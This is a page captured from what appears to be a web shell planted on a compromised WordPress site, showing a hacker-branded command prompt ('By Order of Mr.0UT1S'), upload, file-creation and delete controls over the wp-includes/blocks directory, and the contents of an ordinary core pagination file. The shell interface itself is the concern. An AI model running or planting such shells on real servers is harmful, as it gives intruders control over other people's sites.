home
/
aioutajg
/
unblockedgames247.com
/
wp-includes
/
blocks
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] archives
N/A
[DIR] audio
N/A
[DIR] avatar
N/A
[DIR] block
N/A
[DIR] button
N/A
[DIR] buttons
N/A
[DIR] calendar
N/A
[DIR] categories
N/A
[DIR] code
N/A
[DIR] column
N/A
[DIR] columns
N/A
[DIR] comment-author-name
N/A
[DIR] comment-content
N/A
[DIR] comment-date
N/A
[DIR] comment-edit-link
N/A
[DIR] comment-reply-link
N/A
[DIR] comment-template
N/A
[DIR] comments
N/A
[DIR] comments-pagination
N/A
[DIR] comments-pagination-next
N/A
[DIR] comments-pagination-numbers
N/A
[DIR] comments-pagination-previous
N/A
[DIR] comments-title
N/A
[DIR] cover
N/A
[DIR] details
N/A
[DIR] embed
N/A
[DIR] file
N/A
[DIR] footnotes
N/A
[DIR] freeform
N/A
[DIR] gallery
N/A
[DIR] group
N/A
[DIR] heading
N/A
[DIR] home-link
N/A
[DIR] html
N/A
[DIR] image
N/A
[DIR] latest-comments
N/A
[DIR] latest-posts
N/A
[DIR] legacy-widget
N/A
[DIR] list
N/A
[DIR] list-item
N/A
[DIR] loginout
N/A
[DIR] media-text
N/A
[DIR] missing
N/A
[DIR] more
N/A
[DIR] navigation
N/A
[DIR] navigation-link
N/A
[DIR] navigation-submenu
N/A
[DIR] nextpage
N/A
[DIR] page-list
N/A
[DIR] page-list-item
N/A
[DIR] paragraph
N/A
[DIR] pattern
N/A
[DIR] post-author
N/A
[DIR] post-author-biography
N/A
[DIR] post-author-name
N/A
[DIR] post-comments-form
N/A
[DIR] post-content
N/A
[DIR] post-date
N/A
[DIR] post-excerpt
N/A
[DIR] post-featured-image
N/A
[DIR] post-navigation-link
N/A
[DIR] post-template
N/A
[DIR] post-terms
N/A
[DIR] post-title
N/A
[DIR] preformatted
N/A
[DIR] pullquote
N/A
[DIR] query
N/A
[DIR] query-no-results
N/A
[DIR] query-pagination
N/A
[DIR] query-pagination-next
N/A
[DIR] query-pagination-numbers
N/A
[DIR] query-pagination-previous
N/A
[DIR] query-title
N/A
[DIR] query-total
N/A
[DIR] quote
N/A
[DIR] read-more
N/A
[DIR] rss
N/A
[DIR] search
N/A
[DIR] separator
N/A
[DIR] shortcode
N/A
[DIR] site-logo
N/A
[DIR] site-tagline
N/A
[DIR] site-title
N/A
[DIR] social-link
N/A
[DIR] social-links
N/A
[DIR] spacer
N/A
[DIR] table
N/A
[DIR] tag-cloud
N/A
[DIR] template-part
N/A
[DIR] term-description
N/A
[DIR] text-columns
N/A
[DIR] verse
N/A
[DIR] video
N/A
[DIR] widget-group
N/A
archives.php
2.92 KB
Rename
Delete
avatar.php
5.61 KB
Rename
Delete
block.php
3.24 KB
Rename
Delete
blocks-json.php
189.40 KB
Rename
Delete
button.php
1.76 KB
Rename
Delete
calendar.php
5.93 KB
Rename
Delete
categories.php
3.92 KB
Rename
Delete
comment-author-name.php
2.08 KB
Rename
Delete
comment-content.php
2.40 KB
Rename
Delete
comment-date.php
1.82 KB
Rename
Delete
comment-edit-link.php
1.67 KB
Rename
Delete
comment-reply-link.php
2.03 KB
Rename
Delete
comment-template.php
4.39 KB
Rename
Delete
comments-pagination-next.php
1.88 KB
Rename
Delete
comments-pagination-numbers.php
1.59 KB
Rename
Delete
comments-pagination-previous.php
1.75 KB
Rename
Delete
comments-pagination.php
1.17 KB
Rename
Delete
comments-title.php
2.71 KB
Rename
Delete
comments.php
6.61 KB
Rename
Delete
cover.php
3.10 KB
Rename
Delete
file.php
1.75 KB
Rename
Delete
footnotes.php
3.68 KB
Rename
Delete
gallery.php
6.29 KB
Rename
Delete
heading.php
1.27 KB
Rename
Delete
home-link.php
5.31 KB
Rename
Delete
image.php
11.74 KB
Rename
Delete
index.php
4.99 KB
Rename
Delete
latest-comments.php
4.92 KB
Rename
Delete
latest-posts.php
8.34 KB
Rename
Delete
legacy-widget.php
3.90 KB
Rename
Delete
list.php
1.24 KB
Rename
Delete
loginout.php
1.38 KB
Rename
Delete
media-text.php
4.28 KB
Rename
Delete
navigation-link.php
13.59 KB
Rename
Delete
navigation-submenu.php
9.71 KB
Rename
Delete
navigation.php
48.46 KB
Rename
Delete
page-list-item.php
361 bytes
Rename
Delete
page-list.php
13.29 KB
Rename
Delete
pattern.php
1.75 KB
Rename
Delete
post-author-biography.php
1.49 KB
Rename
Delete
post-author-name.php
1.87 KB
Rename
Delete
post-author.php
2.63 KB
Rename
Delete
post-comments-form.php
2.74 KB
Rename
Delete
post-content.php
2.11 KB
Rename
Delete
post-date.php
3.05 KB
Rename
Delete
post-excerpt.php
3.37 KB
Rename
Delete
post-featured-image.php
9.14 KB
Rename
Delete
post-navigation-link.php
4.72 KB
Rename
Delete
post-template.php
5.61 KB
Rename
Delete
post-terms.php
3.55 KB
Rename
Delete
post-title.php
2.09 KB
Rename
Delete
query-no-results.php
1.80 KB
Rename
Delete
query-pagination-next.php
3.70 KB
Rename
Delete
query-pagination-numbers.php
4.66 KB
Rename
Delete
query-pagination-previous.php
3.50 KB
Rename
Delete
query-pagination.php
1.15 KB
Rename
Delete
query-title.php
2.05 KB
Rename
Delete
query-total.php
2.48 KB
Rename
Delete
query.php
5.56 KB
Rename
Delete
read-more.php
1.79 KB
Rename
Delete
require-dynamic-blocks.php
4.07 KB
Rename
Delete
require-static-blocks.php
501 bytes
Rename
Delete
rss.php
3.98 KB
Rename
Delete
search.php
22.48 KB
Rename
Delete
shortcode.php
735 bytes
Rename
Delete
site-logo.php
6.19 KB
Rename
Delete
site-tagline.php
1.17 KB
Rename
Delete
site-title.php
1.81 KB
Rename
Delete
social-link.php
63.65 KB
Rename
Delete
tag-cloud.php
1.55 KB
Rename
Delete
template-part.php
9.92 KB
Rename
Delete
term-description.php
1.30 KB
Rename
Delete
widget-group.php
2.38 KB
Rename
Delete
<?php /** * Server-side rendering of the `core/query-pagination-previous` block. * * @package WordPress */ /** * Renders the `core/query-pagination-previous` block on the server. * * @since 5.8.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the previous posts link for the query. */ function render_block_core_query_pagination_previous( $attributes, $content, $block ) { $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $enhanced_pagination = isset( $block->context['enhancedPagination'] ) && $block->context['enhancedPagination']; $max_page = isset( $block->context['query']['pages'] ) ? (int) $block->context['query']['pages'] : 0; $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; $wrapper_attributes = get_block_wrapper_attributes(); $show_label = isset( $block->context['showLabel'] ) ? (bool) $block->context['showLabel'] : true; $default_label = __( 'Previous Page' ); $label_text = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? esc_html( $attributes['label'] ) : $default_label; $label = $show_label ? $label_text : ''; $pagination_arrow = get_query_pagination_arrow( $block, false ); if ( ! $label ) { $wrapper_attributes .= ' aria-label="' . $label_text . '"'; } if ( $pagination_arrow ) { $label = $pagination_arrow . $label; } $content = ''; // Check if the pagination is for Query that inherits the global context // and handle appropriately. if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) { $filter_link_attributes = static function () use ( $wrapper_attributes ) { return $wrapper_attributes; }; add_filter( 'previous_posts_link_attributes', $filter_link_attributes ); $content = get_previous_posts_link( $label ); remove_filter( 'previous_posts_link_attributes', $filter_link_attributes ); } else { $block_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) ); $block_max_pages = $block_query->max_num_pages; $total = ! $max_page || $max_page > $block_max_pages ? $block_max_pages : $max_page; wp_reset_postdata(); if ( 1 < $page && $page <= $total ) { $content = sprintf( '<a href="%1$s" %2$s>%3$s</a>', esc_url( add_query_arg( $page_key, $page - 1 ) ), $wrapper_attributes, $label ); } } if ( $enhanced_pagination && isset( $content ) ) { $p = new WP_HTML_Tag_Processor( $content ); if ( $p->next_tag( array( 'tag_name' => 'a', 'class_name' => 'wp-block-query-pagination-previous', ) ) ) { $p->set_attribute( 'data-wp-key', 'query-pagination-previous' ); $p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' ); $p->set_attribute( 'data-wp-on-async--mouseenter', 'core/query::actions.prefetch' ); $p->set_attribute( 'data-wp-watch', 'core/query::callbacks.prefetch' ); $content = $p->get_updated_html(); } } return $content; } /** * Registers the `core/query-pagination-previous` block on the server. * * @since 5.8.0 */ function register_block_core_query_pagination_previous() { register_block_type_from_metadata( __DIR__ . '/query-pagination-previous', array( 'render_callback' => 'render_block_core_query_pagination_previous', ) ); } add_action( 'init', 'register_block_core_query_pagination_previous' );
Save